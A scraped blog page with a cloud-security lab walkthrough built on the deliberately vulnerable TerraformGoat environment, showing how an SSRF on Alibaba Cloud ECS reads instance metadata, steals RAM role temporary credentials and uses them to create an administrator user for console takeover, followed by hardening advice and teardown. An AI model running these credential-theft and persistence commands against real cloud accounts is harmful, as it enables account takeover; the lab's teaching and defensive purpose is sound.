当前位置:网站首页>From the ECS SSRF vulnerability to taking over your alicloud console
From the ECS SSRF vulnerability to taking over your alicloud console
2022-06-09 02:14:00 【InfoQ】
0x00 Preface
0x01 Environment building
git clone https://github.com/HuoCorp/TerraformGoat.git --depth 1
cd TerraformGoat
docker build . -t terraformgoat:v0.0.3
docker run -itd --name terraformgoat terraformgoat:v0.0.3
docker exec -it terraformgoat /bin/bash
proxy_url="127.0.0.1:1080" && export https_proxy=http://$proxy_url http_proxy=http://$proxy_url all_proxy=socks5://$proxy_url

cd /TerraformGoat/aliyun/ecs/ecs_ssrf/
aliyun configure

terraform init
terraform apply


0x02 Environmental utilization
http://100.100.100.200/latest/meta-data

http://100.100.100.200/latest/meta-data/ram/security-credentials/huocorp-terraform-goat-role

aliyun configure --mode StsToken

aliyun ram CreateUser --UserName teamssix
aliyun ram CreateLoginProfile --UserName teamssix --Password [email protected]
aliyun ram AttachPolicyToUser --PolicyType System --PolicyName AdministratorAccess --UserName teamssix

aliyun ram GetAccountAlias






0x03 Defensive measures
- RAM Role permission is too large , As a result, you can create child users and grant high permissions to child users through the permissions of this role
- Metadata is not securely accessed , Cause once the target exists SSRF Loophole , Metadata is at risk of being acquired
- When creating an instance , Can be in 「 The system configuration 」 Of 「 Advanced options 」 Lieutenant general 「 Instance metadata access mode 」 Set to 「 Reinforcement mode only 」

- In the already created instance , You can go to alicloud OpenAPI Metadata is enabled in the Token visit ,OpenAPI Address :https://next.api.aliyun.com/api/Ecs/2014-05-26/ModifyInstanceMetadataOptions


TOKEN=`curl -X PUT "http://100.100.100.200/latest/api/token" -H "X-aliyun-ecs-metadata-token-ttl-seconds: 21600"`
curl -H "X-aliyun-ecs-metadata-token: $TOKEN" http://100.100.100.200/latest/meta-data/

0x04 Environment delete
aliyun ram DetachPolicyFromUser --PolicyType System --PolicyName AdministratorAccess --UserName teamssix
aliyun ram DeleteUser --UserName teamssix
terraform destroy
docker stop terraformgoat
docker rm terraformgoat
docker rmi terraformgoat:v0.0.3
0x05 summary
- ECS Instances need to be granted RAM role , Otherwise, accessing the metadata of the temporary voucher will return 404
- RAM The role needs to have ram Access control related operation permissions , For example, creating users 、 Give permission, etc , Otherwise, the temporary secret key will not have the permission to create child users .
- The common problem of cloud attack and defense is the configuration error , For example, the problem here is RAM The role configuration permission is too high .
- The main method to maintain the permissions of attack and defense on the cloud is to create RAM High authority users , Instead of having a variety of ways to maintain permissions as in the traditional attack and defense .
- The intranet horizontal of cloud attack and defense is mainly conducted in the command line or console of the cloud service provider , From this cloud service to another cloud service , Instead of the traditional attack and defense, there are all kinds of internal net horizontal techniques .
- ……


边栏推荐
- How Bi makes SaaS products have a "sense of security" and "sensitivity" (Part I)
- C language record book
- String 3-387. 字符串中的第一个唯一字符
- Navicat tool batch imports JSON format data to Doris
- Blue Bridge Cup_ Multiple problem_ stack_ Remainder
- Sectigo certificate price
- Don't miss | quota management and application - bank credit card behavior scoring (see for practical operation)
- C language elective course query system
- How can golang set its own gopath and import the definition file normally
- Write cycle condition task
猜你喜欢

浮点数详解(一篇彻底学通浮点数)

不容错过|额度管理与应用-银行信用卡行为评分篇(实操见)

27 | 关于高水位和Leader Epoch的讨论

基于 Selenium 的 UESTC Daily Report 实现

27 | discussion on high water level and leader epoch

After apple and Samsung both reduced their prices by more than 1000 yuan, domestic mobile phones were unable to sit still and sold off at reduced prices

CAD entry level exercises

Mp4 structure

662. maximum width of binary tree -bfs

Suppress status error LNK1104 failed to open the file "boost_thread-vc142-mt-gd-x64-1\u 79.lib"
随机推荐
【Unity中的MVC思想——使用MVC制作UI逻辑】
GeoTrust certificate price
[azure application service] nodejs express + msal application realizes aad login and obtains accesstoken -- cca acquireTokenByCode(tokenRequest)
How does the technical leader bring down a team?
Classify the audio and put it into the corresponding folder according to the file name
C语言成绩记录簿
Swift GCD DispatchGroup Notify wait DispatchSourceTimer Monitor system file Two apps communicate
Codeforces Round #797 (Div. 3)A~E
One month soft test | experience sharing of intermediate test for software designers (with learning materials)
Shell weather forecast
The high-end is weak. Can Yanghe still keep the third place in the industry?
Analyze several interview questions: = = and = = =; Binding events; regular expression
Win10 rename user folder
C language warehouse cargo management system
Navicat tool batch imports JSON format data to Doris
QT epidemic information management system
大四学长谈程序员
Gunicorn 20.0.4 request smuggling vulnerability
S系列·删除文件夹的几种姿势
Integrated base process test summary